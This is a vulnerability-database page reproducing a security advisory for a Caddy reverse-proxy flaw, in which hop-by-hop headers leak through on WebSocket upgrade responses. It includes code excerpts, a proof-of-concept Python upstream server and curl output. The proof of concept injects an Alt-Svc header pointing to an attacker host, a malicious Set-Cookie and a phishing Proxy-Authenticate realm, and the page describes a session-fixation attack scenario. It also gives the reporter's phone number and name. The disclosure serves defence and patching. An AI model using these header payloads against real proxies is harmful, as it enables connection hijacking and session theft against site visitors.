CVE-2026-55458

LOWCVSS · not yet scored

Also known asGHSA-8qx7-j2v2-x6q5 (GitHub Security Advisories)

—
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • No CVSS published and no exploitation signals yet
CISA-KEV: Not listedEPSS PROB: —CVSS v2: —Exploit: None knownExposed services: Not assessed

A fixed version is listed under Patch Availability — apply it.

Caddy has an RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through

AI Disclosure

This vulnerability was discovered via deepseek-v4-pro[1m] for finding potential vulnerabilities / inconsistencies in the code base. I made the AI check if Caddy is compliant with various RFCs, incl. 7230. I also used it to help write the PoC, since it was honestly much faster than writing it by hand. I also let it write parts of this advisory text for brevity's sake, but had to rewrite half of it by hand.

Summary

Caddy's reverse proxy fails to strip RFC 7230 hop-by-hop headers from upstream responses when handling WebSocket upgrades (HTTP 101 Switching Protocols). Headers including Alt-Svc, Keep-Alive, Proxy-Authenticate, Transfer-Encoding, or Trailer, which Caddy actually correctly strips for normal HTTP responses, pass through unfiltered to the client during protocol upgrades. An upstream that sets these headers (intentionally or otherwise) can inject them into client responses, enabling connection hijacking via Alt-Svc, cookie injection via Set-Cookie, and proxy authentication phishing.

The normal response path in finalizeResponse correctly strips all hop-by-hop headers before forwarding, but the 101 code path returns early, skipping the stripping entirely.

Details

In modules/caddyhttp/reverseproxy/reverseproxy.go, the finalizeResponse method (line 1178) handles upstream responses. For all normal responses, it strips hop-by-hop headers before copying to the client:

// reverseproxy.go:1194-1198
removeConnectionHeaders(res.Header)
for _, h := range hopHeaders {
    res.Header.Del(h)
}

However, the 101 Switching Protocols check at line 1187 returns before this stripping code:

// reverseproxy.go:1186-1192
if res.StatusCode == http.StatusSwitchingProtocols {
    var wg sync.WaitGroup
    h.handleUpgradeResponse(logger, &wg, rw, req, res)
    wg.Wait()
    return nil  // <-- returns BEFORE removeConnectionHeaders and hopHeaders loop
}

Inside handleUpgradeResponse (streaming.go:60-91), all upstream response headers are copied to the client without any hop-by-hop filtering:

// streaming.go:88-91
copyHeader(rw.Header(), res.Header)        // copies ALL upstream headers
normalizeWebsocketHeaders(rw.Header())     // only remaps Sec-WebSocket-* keys

The normalizeWebsocketHeaders function (line 714) only handles WebSocket-specific header key mapping (Sec-Websocket-* to Sec-WebSocket-*). It does not strip hop-by-hop headers.

Hop-by-Hop Headers That Leak Through

Defined at reverseproxy.go:1681-1692:

Alt-Svc, Connection, Proxy-Connection, Keep-Alive, Proxy-Authenticate,
Proxy-Authorization, Te, Trailer, Transfer-Encoding, Upgrade

All 10 are stripped from normal responses. None are stripped from WebSocket upgrade responses.

For HTTP/2 and HTTP/3 WebSocket connections (extended CONNECT with :protocol: websocket), Caddy converts the upstream's 101 into a 200 OK for the client (streaming.go:99-104). The leaked headers arrive in a standard HTTP 200 response that browsers fully process, making Alt-Svc hijacking and Set-Cookie injection practically exploitable.

Normal (200): removeConnectionHeaders() runs, hopHeaders loop runs -> headers stripped Upgrade (101): handleUpgradeResponse() runs, returns early -> headers are NOT stripped

This is the only response code path in the reverse proxy that bypasses hop-by-hop header stripping.

PoC

Caddy config:

:8080 {
    reverse_proxy localhost:8083
}

Script:

import socket

UPSTREAM = ( b"HTTP/1.1 101 Switching Protocols\r\n" b"Upgrade: websocket\r\n" b"Connection: Upgrade\r\n" b"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\r\n" b"Alt-Svc: h2=\"attacker.example.com:443\"; ma=86400\r\n" b"Keep-Alive: timeout=999\r\n" b"Proxy-Authenticate: Basic realm=\"phish\"\r\n" b"Set-Cookie: injected=malicious; Path=/\r\n" b"\r\n" )

s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0", 8083)) s.listen(1) conn, _ = s.accept() conn.send(UPSTREAM)

Curl:

curl -v \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  http://localhost:8080/ws 2>&1

Output:

< HTTP/1.1 101 Switching Protocols
< Alt-Svc: h2="attacker.example.com:443"; ma=86400
< Connection: Upgrade
< Keep-Alive: timeout=999
< Proxy-Authenticate: Basic realm="phish"
< Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
< Server: Caddy
< Set-Cookie: injected=malicious; Path=/
< Upgrade: websocket

Alt-Svc, Keep-Alive, and Proxy-Authenticate are hop-by-hop headers that MUST NOT be retransmitted by proxies per RFC 7230 §6.1. They all appear in the response.

Same upstream, same headers but on a 200 response. Caddy strips Alt-Svc correctly:

curl -v http://localhost:8080/

Alt-Svc is absent

Impact

This is a hop-by-hop header leakage vuln (I think CWE-444 fits closest?). The proxy fails to enforce the RFC 7230 §6.1 requirement that hop-by-hop headers must not be forwarded across proxy boundaries.

Any Caddy deployment that proxies WebSocket connections, especially those using HTTP/2 or HTTP/3 (where the 101-to-200 conversion makes headers fully processable by browsers) has this issue.

How an attack might look: A company serves app.example.com behind Caddy, with HTTP/2 enabled. The app uses WebSockets for real-time notifications (i.e. every page load opens one). The upstream app gets compromised (unpatched CMS plugin, leaked CI credential, dependency confusion). The attacker adds one line to the WebSocket handler: Set-Cookie: session=hijack; Path=/.

Now every visitor to app.example.com gets the attacker's session cookie written into their browser. The app uses the session cookie as the sole authentication token. When a user reloads the page or navigates to another part of the app, their browser sends session=hijack along with the request. The attacker submits the same value from their own browser. They get logged in as that user.

Caddy strips this header on normal HTTP responses. It strips hop-by-hop headers on the request side, basically everywhere except this path.

Suggested Fix

I'll add my fix to the branch in this security advisory.

Contact Details

If you find this find worth your time you can contact me under [email protected] or +43 (677) 63 397 910. In case this is something that will go public I'd be happy to be mentioned under my real name, Dionis Ramadani.

Thank you for taking the time, I hope this is something interesting for you.

CVSS v3
—
EchelonGraph score
Not yet assessedNo source has published severity data for this CVE yet — no CVSS score from NVD or a CNA, no GitHub advisory, and it is not in CISA KEV. This is not a rating of zero; we cannot assess it yet.
EG Score
—
EG Risk
—
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

EG Severity
Not assessed: no CVSS publishedA missing CVSS is not a severity of zero.
EG Likelihood
Unknown (no EPSS on record)Unknown, not low: FIRST has published no EPSS probability for this CVE.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
No SSVC decision: EchelonGraph has not assessed this CVECISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the BOD 26-04 block below.

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

October 28, 2026

Last Modified

October 28, 2026

Vendor Advisories for CVE-2026-55458(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
gogithub.com/caddyserver/caddy/v2 @ 2.11.5 (fixes <= 2.11.4)—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 2× in last 7d / 2× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-11-01 07:43 UTCGHSA enrichmentGHSA-8qx7-j2v2-x6q5 · GitHub severity LOW
  2. 2026-10-28 20:42 UTCEG score recompute

Frequently asked(3)

What is CVE-2026-55458?
CVE-2026-55458 is a low-severity vulnerability; its CVE record was published on October 28, 2026. Caddy has an RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through AI Disclosure This vulnerability was discovered via deepseek-v4-pro[1m] for finding potential vulnerabilities / inconsistencies in the code base. I made the AI check if Caddy is compliant with various RFCs, incl.…
When was the CVE record for CVE-2026-55458 published?
The CVE record for CVE-2026-55458 was published on October 28, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of October 28, 2026; the record at its source may have been updated since.
How do I remediate CVE-2026-55458?
A fixed version for CVE-2026-55458 is listed under Patch Availability on this page: update to the version listed for your package. The vendor advisories EchelonGraph has for CVE-2026-55458 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-55458

Explore →

Is Your Infrastructure Affected by CVE-2026-55458?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.